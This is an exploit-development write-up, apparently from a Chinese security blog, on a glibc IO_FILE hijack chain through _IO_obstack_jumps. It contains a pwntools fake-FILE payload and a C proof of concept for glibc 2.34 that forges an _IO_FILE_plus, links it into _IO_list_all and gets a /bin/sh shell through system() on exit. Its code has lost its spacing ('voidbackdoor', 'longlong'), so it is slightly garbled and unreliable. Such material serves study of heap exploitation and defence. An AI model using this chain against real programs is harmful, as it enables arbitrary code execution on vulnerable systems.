一条新的glibc IO_FILE利用链：_IO_obstack_jumps利用分析

struct _IO_FILE{
int_flags;
#define _IO_file_flags _flags

char*_IO_read_ptr;/* Current read pointer */
char*_IO_read_end;/* End of get area. */
char*_IO_read_base;/* Start of putback+get area. */
char*_IO_write_base;/* Start of put area. */
char*_IO_write_ptr;/* Current put pointer. */
char*_IO_write_end;/* End of put area. */
char*_IO_buf_base;/* Start of reserve area. */
char*_IO_buf_end;/* End of reserve area. */
/* The following fields are used to support backing up and undo. */
char*_IO_save_base;/* Pointer to start of non-current get area. */
char*_IO_backup_base;/* Pointer to first valid character of backup area */
char*_IO_save_end;/* Pointer to end of non-current get area. */

struct _IO_marker*_markers;

struct _IO_FILE*_chain;

int_fileno;
#if 0
    int _blksize;
#else
int_flags2;
#endif
_IO_off_t_old_offset;/* This used to be _offset but it's too small.  */

#define __HAVE_COLUMN   /* temporary */
unsignedshort_cur_column;
signedchar_vtable_offset;
char_shortbuf[1];

/*  char* _save_gptr;  char* _save_egptr; */
_IO_lock_t*_lock;
#ifdef _IO_USE_OLD_IO_FILE
};

struct _IO_jump_t
{
JUMP_FIELD(size_t,__dummy);
JUMP_FIELD(size_t,__dummy2);
JUMP_FIELD(_IO_finish_t,__finish);
JUMP_FIELD(_IO_overflow_t,__overflow);
JUMP_FIELD(_IO_underflow_t,__underflow);
JUMP_FIELD(_IO_underflow_t,__uflow);
JUMP_FIELD(_IO_pbackfail_t,__pbackfail);
/* showmany */
JUMP_FIELD(_IO_xsputn_t,__xsputn);
JUMP_FIELD(_IO_xsgetn_t,__xsgetn);
JUMP_FIELD(_IO_seekoff_t,__seekoff);
JUMP_FIELD(_IO_seekpos_t,__seekpos);
JUMP_FIELD(_IO_setbuf_t,__setbuf);
JUMP_FIELD(_IO_sync_t,__sync);
JUMP_FIELD(_IO_doallocate_t,__doallocate);
JUMP_FIELD(_IO_read_t,__read);
JUMP_FIELD(_IO_write_t,__write);
JUMP_FIELD(_IO_seek_t,__seek);
JUMP_FIELD(_IO_close_t,__close);
JUMP_FIELD(_IO_stat_t,__stat);
JUMP_FIELD(_IO_showmanyc_t,__showmanyc);
JUMP_FIELD(_IO_imbue_t,__imbue);
#if 0
    get_column;
    set_column;
#endif
};

struct _IO_FILE_plus
{
_IO_FILEfile;
conststruct _IO_jump_t*vtable;
};

struct obstack/* control current object in current chunk */
{
longchunk_size;/* preferred size to allocate chunks in */
struct _obstack_chunk*chunk;/* address of current struct obstack_chunk */
char*object_base;/* address of object we are building */
char*next_free;/* where to add next char to current object */
char*chunk_limit;/* address of char after current chunk */
union
  {
PTR_INT_TYPEtempint;
void*tempptr;
}temp;/* Temporary for some macros.  */
intalignment_mask;/* Mask of alignment for each object. */
/* These prototypes vary based on 'use_extra_arg', and we use
     casts to the prototypeless function type in all assignments,
     but having prototypes here quiets -Wstrict-prototypes.  */
struct _obstack_chunk*(*chunkfun)(void*,long);
void(*freefun)(void*,struct _obstack_chunk*);
void*extra_arg;/* first arg for chunk alloc/dealloc funcs */
unsigneduse_extra_arg :1;/* chunk alloc/dealloc funcs take extra arg */
unsignedmaybe_empty_object :1;/* There is a possibility that the current
                      chunk contains a zero-length object.  This
                      prevents freeing the chunk if we allocate
                      a bigger chunk to replace it. */
unsignedalloc_failed :1;/* No longer used, as we now call the failed
                     handler on error, but retained for binary
                     compatibility.  */
};

struct _IO_obstack_file
{
struct _IO_FILE_plusfile;
struct obstack*obstack;
};

/* the jump table.  */
conststruct _IO_jump_t_IO_obstack_jumpslibio_vtableattribute_hidden=
{
JUMP_INIT_DUMMY,
JUMP_INIT(finish,NULL),
JUMP_INIT(overflow,_IO_obstack_overflow),
JUMP_INIT(underflow,NULL),
JUMP_INIT(uflow,NULL),
JUMP_INIT(pbackfail,NULL),
JUMP_INIT(xsputn,_IO_obstack_xsputn),
JUMP_INIT(xsgetn,NULL),
JUMP_INIT(seekoff,NULL),
JUMP_INIT(seekpos,NULL),
JUMP_INIT(setbuf,NULL),
JUMP_INIT(sync,NULL),
JUMP_INIT(doallocate,NULL),
JUMP_INIT(read,NULL),
JUMP_INIT(write,NULL),
JUMP_INIT(seek,NULL),
JUMP_INIT(close,NULL),
JUMP_INIT(stat,NULL),
JUMP_INIT(showmanyc,NULL),
JUMP_INIT(imbue,NULL)
};

staticint
_IO_obstack_overflow(_IO_FILE*fp,intc)
{
struct obstack*obstack=((struct _IO_obstack_file*)fp)->obstack;
intsize;
/* Make room for another character.  This might as well allocate a
     new chunk a memory and moves the old contents over.  */
assert(c!=EOF);//关注这里
obstack_1grow(obstack,c);
/* Setup the buffer pointers again.  */
fp->_IO_write_base=obstack_base(obstack);
fp->_IO_write_ptr=obstack_next_free(obstack);
size=obstack_room(obstack);
fp->_IO_write_end=fp->_IO_write_ptr+size;
/* Now allocate the rest of the current chunk.  */
obstack_blank_fast(obstack,size);
returnc;
}

static_IO_size_t
_IO_obstack_xsputn(_IO_FILE*fp,constvoid*data,_IO_size_tn)
{
struct obstack*obstack=((struct _IO_obstack_file*)fp)->obstack;

if(fp->_IO_write_ptr+n>fp->_IO_write_end)
{
intsize;
/* We need some more memory.  First shrink the buffer to the
     space we really currently need.  */
obstack_blank_fast(obstack,fp->_IO_write_ptr-fp->_IO_write_end);

/* Now grow for N bytes, and put the data there.  */
obstack_grow(obstack,data,n);

[...]
}

#define obstack_blank_fast(h, n) ((h)->next_free += (n))

#define obstack_grow(OBSTACK, where, length)                      \
  __extension__                                   \
    ({ struct obstack *__o = (OBSTACK);                       \
       int __len = (length);                              \
       if (_o->next_free + __len > __o->chunk_limit)                  \
     _obstack_newchunk (__o, __len);                      \
       memcpy (__o->next_free, where, __len);                     \
       __o->next_free += __len;                           \
       (void) 0; })

void
_obstack_newchunk(struct obstack*h,intlength)
{
struct _obstack_chunk*old_chunk=h->chunk;
struct _obstack_chunk*new_chunk;
longnew_size;
longobj_size=h->next_free-h->object_base;
longi;
longalready;
char*object_base;

/* Compute size for new chunk.  */
new_size=(obj_size+length)+(obj_size>>3)+h->alignment_mask+100;
if(new_size<h->chunk_size)
new_size=h->chunk_size;

/* Allocate and initialize the new chunk.  */
new_chunk=CALL_CHUNKFUN(h,new_size);
[...]
}

# define CALL_CHUNKFUN(h, size) \
  (((h)->use_extra_arg)                               \
   ? (*(h)->chunkfun)((h)->extra_arg, (size))                     \
   : (*(struct _obstack_chunk *(*)(long))(h)->chunkfun)((size)))

exit
 __run_exit_handlers
   fcloseall
     _IO_cleanup
    _IO_flush_all_lockp
            _IO_obstack_xsputn
            obstack_grow
                _obstack_newchunk
                        CALL_CHUNKFUN(一个宏定义)
                        (*(h)->chunkfun)((h)->extra_arg, (size))

def get_IO_str_jumps():
    IO_file_jumps_addr = libc.sym['_IO_file_jumps']
    IO_str_underflow_addr = libc.sym['_IO_str_underflow']
    for ref in libc.search(p64(IO_str_underflow_addr-libc.address)):
        possible_IO_str_jumps_addr = ref - 0x20
        if possible_IO_str_jumps_addr > IO_file_jumps_addr:
            return possible_IO_str_jumps_addr

payload = flat(
    {
        0x8:1,
        0x10:0,
        0x38:address_for_rdi,
        0x28:address_for_call,
        0x18:1,
        0x20:0,
        0x40:1, 
        0xd0:heap_base + 0x250,
        0xc8:libc_base + get_IO_str_jumps() - 0x300 + 0x20
    },
    filler = '\x00'
)

/*
 * @Author: 7resp4ss
 * @Date: 2022-11-23 18:09:39
 * @LastEditTime: 2022-11-23 17:26:04
 * @Description: 
 *gcc poc.c -g -o poc

 *GLIBC version are as follows:
    GNU C Library (Ubuntu GLIBC 2.34-0ubuntu3.2) stable release version 2.34.
    Copyright (C) 2021 Free Software Foundation, Inc.
    This is free software; see the source for copying conditions.
    There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A
    PARTICULAR PURPOSE.
    Compiled by GNU CC version 10.3.0.
    libc ABIs: UNIQUE IFUNC ABSOLUTE
    For bug reporting instructions, please see:
    <https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.
*/


#include<stdio.h>
#include<stdlib.h>

#define writeend_offset 0x30
#define writeptr_offset 0x28
#define vtable_offset 0xd8
#define next_free_offset 0x18 
#define chunk_limit_offset 0x20
#define caller_offset 0x38
#define caller_arg_offset 0x48
#define use_arg_offset 0x50
#define fake_obstack_offset 0xe0

voidbackdoor(char*cmd)
{
puts("OHHH!HACKER!!!");
puts("HERE IS U SHELL!");
system(cmd);
}

char*fake_arg="/bin/sh\x00";

intmain(void)
{
puts("this is a poc");
size_tlibc_base=&puts-0x80ef0;
size_t_IO_list_all_prt=libc_base+0x21a660;
size_t_IO_obstack_jumps_prt=libc_base+0x2163c0;
void*ptr;
longlong*list_all_ptr;
ptr=malloc(0x200);
//bypass
*(longlong*)((longlong)ptr+writeptr_offset)=0x1;
*(longlong*)((longlong)ptr+writeend_offset)=0x0;
*(longlong*)((longlong)ptr+next_free_offset)=0x1;
*(longlong*)((longlong)ptr+chunk_limit_offset)=0x0;
*(longlong*)((longlong)ptr+use_arg_offset)=0x1;
*(longlong*)((longlong)ptr+fake_obstack_offset)=(longlong*)ptr;
//vtable _IO_obstack_jumps_prt
*(longlong*)((longlong)ptr+vtable_offset)=(longlong*)(_IO_obstack_jumps_prt+0x20);
//set the function to call and its parameters
*(longlong*)((longlong)ptr+caller_offset)=(longlong*)(&backdoor);
*(longlong*)((longlong)ptr+caller_arg_offset)=(longlong*)(fake_arg);
//_IO_list_all _chain 2 fake _IO_FILE_plus
list_all_ptr=(longlong*)(_IO_list_all_prt+0x68+0x20);
list_all_ptr[0]=ptr;
exit(0);
}